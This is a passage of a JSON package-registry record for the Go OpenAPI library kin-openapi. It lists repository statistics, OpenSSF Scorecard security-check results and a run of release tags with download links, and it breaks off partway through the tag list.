{"id":3492861,"name":"github.com/getkin/kin-openapi","ecosystem":"go","description":"","homepage":"https://github.com/getkin/kin-openapi","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/getkin/kin-openapi","keywords_array":[],"namespace":"github.com/getkin","versions_count":153,"first_release_published_at":"2018-09-29T13:36:49.000Z","latest_release_published_at":"2026-08-28T09:14:33.000Z","latest_release_number":"v0.149.0","last_synced_at":"2026-10-05T06:43:41.490Z","created_at":"2022-04-10T19:12:58.328Z","updated_at":"2026-10-05T06:43:41.491Z","registry_url":"https://pkg.go.dev/github.com/getkin/kin-openapi","install_command":"go get github.com/getkin/kin-openapi","documentation_url":"https://pkg.go.dev/github.com/getkin/kin-openapi#section-documentation","metadata":null,"repo_metadata":{"id":38816442,"uuid":"94029207","full_name":"getkin/kin-openapi","owner":"getkin","description":"OpenAPI 3.0 and 3.1 and 3.2 (and Swagger v2) implementation for Go (parsing, converting, validation, and more)","archived":false,"fork":false,"pushed_at":"2026-09-30T13:03:19.000Z","size":2633,"stargazers_count":3299,"open_issues_count":110,"forks_count":518,"subscribers_count":18,"default_branch":"master","last_synced_at":"2026-10-01T14:59:16.972Z","etag":null,"topics":["api","documentation","golang","hacktoberfest","openapi","openapi2","openapi3","swagger"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/getkin.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["fenollp"]}},"created_at":"2017-06-11T20:12:06.000Z","updated_at":"2026-09-30T13:04:05.000Z","dependencies_parsed_at":"2026-10-01T14:59:17.597Z","dependency_job_id":null,"html_url":"https://github.com/getkin/kin-openapi","commit_stats":{"total_commits":553,"total_committers":209,"mean_commits":2.645933014354067,"dds":0.6419529837251357,"last_synced_commit":"c41a06863174e3aa1f5516108781b8c081c9611c"},"previous_names":["jban332/kin-openapi","jban332/kinapi"],"tags_count":153,"template":false,"template_full_name":null,"purl":"pkg:github/getkin/kin-openapi","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/sbom","scorecard":{"id":424284,"data":{"date":"2025-08-11","repo":{"name":"github.com/getkin/kin-openapi","commit":"e00a34088955fdb170656bdd9a54f8a72a77e9c7"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Maintained","score":9,"reason":"7 commit(s) and 4 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":9,"reason":"Found 29/30 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/go.yml:1","Warn: no topLevel permission defined: .github/workflows/shellcheck.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:206: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:207: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/shellcheck.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/shellcheck.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/shellcheck.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/shellcheck.yml/master?enable=pin","Warn: goCommand not pinned by hash: .github/workflows/go.yml:211","Info:   0 out of   7 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   1 goCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T01:55:45.848Z","repository_id":38816442,"created_at":"2025-08-19T01:55:45.848Z","updated_at":"2025-08-19T01:55:45.848Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":342085742,"owners_count":37912493,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-10-01T02:00:06.691Z","response_time":59,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"getkin","name":"getkin","uuid":"40365715","kind":"organization","description":"An open-source community.","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/40365715?v=4","repositories_count":2,"last_synced_at":"2026-09-30T04:24:26.699Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/getkin","funding_links":[],"total_stars":3297,"followers":12,"following":0,"created_at":"2022-11-17T12:09:51.211Z","updated_at":"2026-09-30T04:24:26.719Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin/repositories"},"tags":[{"name":"v0.149.0","sha":"1a812b4b73ede7fa295c63a5c89d1ca7250dcc07","kind":"commit","published_at":"2026-08-28T09:14:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.149.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.149.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.149.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.149.0/manifests"},{"name":"v0.148.0","sha":"4487f198ab8be0c37d6ca72c54f5dca4dc25270e","kind":"commit","published_at":"2026-08-27T10:09:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.148.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.148.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.148.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.148.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.148.0/manifests"},{"name":"v0.147.0","sha":"eda80e2676e9f577ceed2dd80e64f16083edb041","kind":"commit","published_at":"2026-08-18T14:12:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.147.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.147.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.147.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.147.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.147.0/manifests"},{"name":"v0.146.0","sha":"335f4e6abe8ecb82856651f30ed955834d90e15c","kind":"commit","published_at":"2026-08-03T11:01:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.146.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.146.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.146.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.146.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.146.0/manifests"},{"name":"v0.145.0","sha":"88aa64c7cbd03ecadbb419c473bdcaa8b0124c6b","kind":"commit","published_at":"2026-07-25T12:43:34.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.145.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.145.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.145.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.145.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.145.0/manifests"},{"name":"v0.144.0","sha":"f0407d53b0730280266f454b755010e7eeb985da","kind":"commit","published_at":"2026-07-23T23:08:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.144.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.144.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.144.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.144.0/manifests"},{"name":"v0.143.0","sha":"30e292371a89ca6d1f91a9553e0aa518b49f838d","kind":"commit","published_at":"2026-07-21T12:48:31.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.143.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.143.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.143.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.143.0/manifests"},{"name":"v0.142.0","sha":"1223a0f215d2cf9beb2d9eb9ea2649d001c21388","kind":"commit","published_at":"2026-07-11T22:04:27.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.142.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.142.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.142.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.142.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.142.0/manifests"},{"name":"v0.141.0","sha":"1d0a337c9b1570fab283be8a04c8af6e43b9a22c","kind":"commit","published_at":"2026-07-10T08:49:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.141.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.141.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.141.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.141.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.141.0/manifests"},{"name":"v0.140.0","sha":"5124898cf4bf7f020d8c58e4a16ba51d09db6fb0","kind":"commit","published_at":"2026-06-02T15:47:47.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.140.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.140.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.140.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.140.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.140.0/manifests"},{"name":"v0.139.0","sha":"8381bfc73ce3bb241d298bc8415b8f724b6ddfb6","kind":"commit","published_at":"2026-05-21T14:53:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.139.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.139.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.139.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.139.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.139.0/manifests"},{"name":"v0.138.0","sha":"d2375754a1cada59a8414d370eee9eeaa8f5b2d1","kind":"commit","published_at":"2026-05-08T08:31:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.138.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.138.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.138.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.138.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.138.0/manifests"},{"name":"v0.137.0","sha":"b64124451ae3792c738848191b38b9be4c67b65f","kind":"commit","published_at":"2026-04-28T07:19:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.137.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.137.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.137.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.137.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.137.0/manifests"},{"name":"v0.136.0","sha":"ff4bce724cfa3fdf6fac4470c76a8511662b21f6","kind":"commit","published_at":"2026-04-25T09:11:25.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.136.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.136.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.136.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.136.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.136.0/manifests"},{"name":"v0.135.0","sha":"9686b66c8cf9b6b242c7d80e44f43a606ca970db","kind":"commit","published_at":"2026-04-08T20:47:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.135.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.135.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.135.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.135.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.135.0/manifests"},{"name":"v0.134.0","sha":"713eff1d1285b8e4934b218ebf4757b3f00452d7","kind":"commit","published_at":"2026-03-13T16:49:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.134.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.134.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.134.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.134.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.134.0/manifests"},{"name":"v0.133.0","sha":"2baea3d16906f92e241304527137592a8251afc9","kind":"commit","published_at":"2025-08-25T08:52:10.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.133.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.133.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.133.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.133.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.133.0/manifests"},{"name":"v0.132.0","sha":"72b5d5177d5993bbbc8c863e36ef036850558658","kind":"commit","published_at":"2025-04-29T12:20:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.132.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.132.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.132.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.132.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.132.0/manifests"},{"name":"v0.131.0","sha":"67f0b233ffc01332f7d993f79490fbea5f4455f1","kind":"commit","published_at":"2025-03-19T12:54:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.131.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.131.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.131.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.131.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.131.0/manifests"},{"name":"v0.130.0","sha":"6da871e0e170b7637eb568c265c08bc2b5d6e7a3","kind":"commit","published_at":"2025-03-12T10:29:00.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.130.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.130.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.130.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.130.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.130.0/manifests"},{"name":"v0.129.0","sha":"cea0a13b906a708102947f95b9b09d631ff60976","kind":"commit","published_at":"2024-12-24T10:20:21.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.129.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.129.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.129.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.129.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.129.0/manifests"},{"name":"v0.128.0","sha":"1eeb41ca5a03ec81862d9135bcb0a09c6d7d7d2a","kind":"commit","published_at":"2024-10-01T20:44:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.128.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.128.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.128.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.128.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.128.0/manifests"},{"name":"v0.127.0","sha":"d7226466cdeb3a02e90c8cd242c631896e5a2d32","kind":"commit","published_at":"2024-07-30T14:58:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.127.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.127.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.127.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.127.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.127.0/manifests"},{"name":"v0.126.0","sha":"2692f43ba21c89366b2a221a86be520b87539352","kind":"commit","published_at":"2024-07-05T15:57:58.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.126.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.126.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.126.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.126.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.126.0/manifests"},{"name":"v0.125.0","sha":"b18a27af2b410ca83b58232b51e3b9caccd058b4","kind":"commit","published_at":"2024-06-10T19:56:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.125.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.125.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.125.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.125.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.125.0/manifests"},{"name":"v0.124.0","sha":"9dbb4c3be9314ca0985a3fd32f393368cd998957","kind":"commit","published_at":"2024-04-06T10:45:54.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.124.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.124.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.124.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.124.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.124.0/manifests"},{"name":"v0.123.0","sha":"9d820c946ffc64e97853370f22e8b991e0a3aa0d","kind":"commit","published_at":"2024-01-22T20:01:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.123.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.123.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.123.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.123.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.123.0/manifests"},{"name":"v0.122.0","sha":"6740cd2b25853647fafc2e40c33d60f6f78b4fd2","kind":"commit","published_at":"2023-11-28T20:35:55.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.122.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.122.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.122.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.122.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.122.0/manifests"},{"name":"v0.121.0","sha":"4e